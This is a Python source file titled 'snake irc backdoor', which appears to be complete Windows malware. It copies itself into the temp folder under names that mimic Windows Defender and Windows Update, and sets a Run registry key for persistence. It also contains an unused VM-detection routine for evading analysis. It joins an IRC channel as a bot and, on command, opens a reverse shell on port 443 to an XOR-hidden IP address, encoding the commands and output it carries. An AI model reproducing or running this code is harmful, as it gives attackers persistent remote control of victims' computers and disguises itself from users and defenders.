## snake irc backdoor

import os
import _winreg
import psutil
import tempfile
from shutil import copyfile
import sys
import random
import socket
import subprocess

def vm_fucker():
    if os.name == 'nt':
        vm_list = [
         'vmsrvc.exe', 'vmusrvc.exe', 'vboxtray.exe', 'vmtoolsd.exe', 'df5serv.exe', 'vboxservice.exe']
        for p in psutil.process_iter():
            try:
                if p.name().lower() in vm_list:
                    return True
            except IOError:
                paths = [
                 'C:\\windows\\system32\\drivers\\/vmci.sys', '%C:\\windows\\system32\\drivers\\/vmhgfs.sys',
                 'C:\\windows\\system32\\drivers\\/vmmouse.sys', 'C:\\windows\\system32\\drivers\\/vmscsi.sys',
                 'C:\\windows\\system32\\drivers\\/vmusbmouse.sys', 'C:\\windows\\system32\\drivers\\/vmx_svga.sys',
                 'C:\\windows\\system32\\drivers\\/vmxnet.sys', 'C:\\windows\\system32\\drivers\\VboxMouse.sys']
                for i in paths:
                    if os.path.exists(i):
                        return True

    else:
        return False


def autorun():
    P1 = 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'
    A2 = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, P1)
    W1 = 'Windows Defender Service'
    L1 = tempdir()[random.randint(0, 4)]
    _winreg.SetValueEx(A2, W1, 0, _winreg.REG_SZ, '"' + L1 + '"')


def tempdir():
    temp = tempfile.gettempdir()
    return (
     temp + '\\WindowsDefender.exe', temp + '\\AppHostRegistrationVerifier.exe', temp + '\\DevModeRunAsUserConfig.exe', temp + '\\HOSTNAME.exe', temp + '\\WindowsUpdate.exe')


def copy_tempdir():
    current = sys.executable
    copyfile(current, tempdir()[0])
    copyfile(current, tempdir()[1])
    copyfile(current, tempdir()[2])
    copyfile(current, tempdir()[3])
    copyfile(current, tempdir()[4])


def r3v3rs3_sh3ll():
    try:
        zvxp = 443
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((xorip(), zvxp))
        while True:
            data = s.recv(1024)
            receive_data = bytearray(data)
            for i in range(len(receive_data)):
                receive_data[i] ^= 207

            comm = subprocess.Popen(str(receive_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            STDOUT, STDERR = comm.communicate()
            en_STDOUT = bytearray(STDOUT)
            for i in range(len(en_STDOUT)):
                en_STDOUT[i] ^= 207

            s.send(en_STDOUT)

        s.close()
    except Exception as e:
        s.close()
        print e


def xorip():
    x0r = [
     93, 118, 121, 61]
    for i in range(len(x0r)):
        x0r[i] ^= 207

    return str(x0r[0]) + '.' + str(x0r[1]) + '.' + str(x0r[2]) + '.' + str(x0r[3])


def connect_irc():
    import socket
    server = 'irc.freenode.net'
    channel = '#dedeler'
    botnick = 'bot_{0}'.format(random.randint(1, 1000))

    def ping():
        ircsock.send('PONG :pingis\n')

    def sendmsg(chan, msg):
        ircsock.send('PRIVMSG ' + chan + ' :' + msg + '\n')

    def joinchan(chan):
        ircsock.send('JOIN ' + chan + '\n')

    def hello():
        ircsock.send('PRIVMSG ' + channel + ' :Hello!\n')

    ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ircsock.connect((server, 6667))
    ircsock.send('USER ' + botnick + ' ' + botnick + ' ' + botnick + ' :Noooooope.\n')
    ircsock.send('NICK ' + botnick + '\n')
    joinchan(channel)
    while 1:
        ircmsg = ircsock.recv(2048)
        ircmsg = ircmsg.strip('\n\r')
        print ircmsg
        if ircmsg.find(':give_me_shell ' + botnick) != -1:
            r3v3rs3_sh3ll()
        if ircmsg.find('PING :') != -1:
            ping()


if __name__ == '__main__':
    copy_tempdir()
    autorun()
    connect_irc()
